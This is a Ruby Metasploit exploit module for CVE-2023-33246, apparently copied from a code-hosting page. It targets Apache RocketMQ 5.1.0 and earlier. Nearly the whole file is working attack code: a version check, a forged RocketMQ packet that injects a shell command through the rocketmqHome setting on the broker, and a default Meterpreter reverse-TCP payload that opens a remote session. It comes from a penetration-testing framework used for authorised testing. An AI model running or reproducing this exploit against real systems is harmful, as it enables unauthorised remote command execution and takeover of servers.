130 lines
5.1 KiB
Ruby
130 lines
5.1 KiB
Ruby
|
|
##
|
||
|
|
# This module requires Metasploit: https://metasploit.com/download
|
||
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||
|
|
##
|
||
|
|
|
||
|
|
class MetasploitModule < Msf::Exploit::Remote
|
||
|
|
Rank = ExcellentRanking
|
||
|
|
|
||
|
|
include Msf::Exploit::Remote::Tcp
|
||
|
|
include Msf::Exploit::CmdStager
|
||
|
|
include Msf::Auxiliary::Rocketmq
|
||
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(
|
||
|
|
update_info(
|
||
|
|
info,
|
||
|
|
'Name' => 'Apache RocketMQ update config RCE',
|
||
|
|
'Description' => %q{
|
||
|
|
RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
|
||
|
|
leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
|
||
|
|
the update configuration function to execute commands as the system users that RocketMQ is running as.
|
||
|
|
Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
|
||
|
|
},
|
||
|
|
'Author' => [
|
||
|
|
'Malayke', # PoC
|
||
|
|
'jheysel-r7', # module - RCE portion
|
||
|
|
'h00die', # module - Version detection & parsing
|
||
|
|
],
|
||
|
|
'References' => [
|
||
|
|
[ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'],
|
||
|
|
[ 'CVE', '2023-33246']
|
||
|
|
],
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'Platform' => %w[unix linux],
|
||
|
|
'Privileged' => false,
|
||
|
|
'Arch' => [ ARCH_CMD ],
|
||
|
|
'Targets' => [
|
||
|
|
[
|
||
|
|
'Automatic (Unix In-Memory)',
|
||
|
|
{
|
||
|
|
'Platform' => %w[unix linux],
|
||
|
|
'Arch' => ARCH_CMD,
|
||
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },
|
||
|
|
'Type' => :nix_memory
|
||
|
|
}
|
||
|
|
],
|
||
|
|
],
|
||
|
|
'Payload' => {
|
||
|
|
'BadChars' => "\x27"
|
||
|
|
},
|
||
|
|
'DefaultOptions' => {
|
||
|
|
'WfsDelay' => 60
|
||
|
|
},
|
||
|
|
'DefaultTarget' => 0,
|
||
|
|
'DisclosureDate' => '2023-05-23',
|
||
|
|
'Notes' => {
|
||
|
|
'Stability' => [ CRASH_SAFE ],
|
||
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
|
||
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
||
|
|
}
|
||
|
|
)
|
||
|
|
)
|
||
|
|
|
||
|
|
register_options(
|
||
|
|
[
|
||
|
|
OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]),
|
||
|
|
OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911])
|
||
|
|
]
|
||
|
|
)
|
||
|
|
end
|
||
|
|
|
||
|
|
def check
|
||
|
|
@version_request_response = send_version_request
|
||
|
|
@parsed_data = parse_rocketmq_data(@version_request_response)
|
||
|
|
return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version']
|
||
|
|
|
||
|
|
version = Rex::Version.new(@parsed_data['version'].gsub('V', ''))
|
||
|
|
return Exploit::CheckCode::Unknown('Unable to determine the version') unless version
|
||
|
|
|
||
|
|
if version > Rex::Version.new('5.0.0')
|
||
|
|
return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0')
|
||
|
|
elsif version <= Rex::Version.new('4.9.5')
|
||
|
|
return Exploit::CheckCode::Appears("RocketMQ version: #{version}")
|
||
|
|
end
|
||
|
|
Exploit::CheckCode::Safe("RocketMQ version: #{version}")
|
||
|
|
end
|
||
|
|
|
||
|
|
def execute_command(cmd, opts = {})
|
||
|
|
data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
|
||
|
|
rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a"
|
||
|
|
header = [data.length + 3].pack('N') + "\x00\x00\x00"
|
||
|
|
payload = header + data
|
||
|
|
|
||
|
|
begin
|
||
|
|
vprint_status("Payload command to be executed: #{cmd}")
|
||
|
|
sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i })
|
||
|
|
vprint_status("Payload is #{data}")
|
||
|
|
sock.put(payload)
|
||
|
|
rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
|
||
|
|
fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}")
|
||
|
|
end
|
||
|
|
end
|
||
|
|
|
||
|
|
def on_new_session(session)
|
||
|
|
print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted')
|
||
|
|
|
||
|
|
if session.type == 'meterpreter'
|
||
|
|
pwd = session.fs.dir.pwd
|
||
|
|
else
|
||
|
|
pwd = session.shell_command_token('pwd')
|
||
|
|
end
|
||
|
|
|
||
|
|
# The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin
|
||
|
|
pwd.gsub!('/bin', '')
|
||
|
|
print_good("Determined the original $ROCKETMQ_HOME: #{pwd}")
|
||
|
|
print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value')
|
||
|
|
|
||
|
|
execute_command(pwd, { broker_port: @broker_port })
|
||
|
|
end
|
||
|
|
|
||
|
|
def exploit
|
||
|
|
@version_request_response ||= send_version_request
|
||
|
|
@parsed_data ||= parse_rocketmq_data(@version_request_response)
|
||
|
|
@broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT'])
|
||
|
|
print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}")
|
||
|
|
execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port })
|
||
|
|
end
|
||
|
|
end
|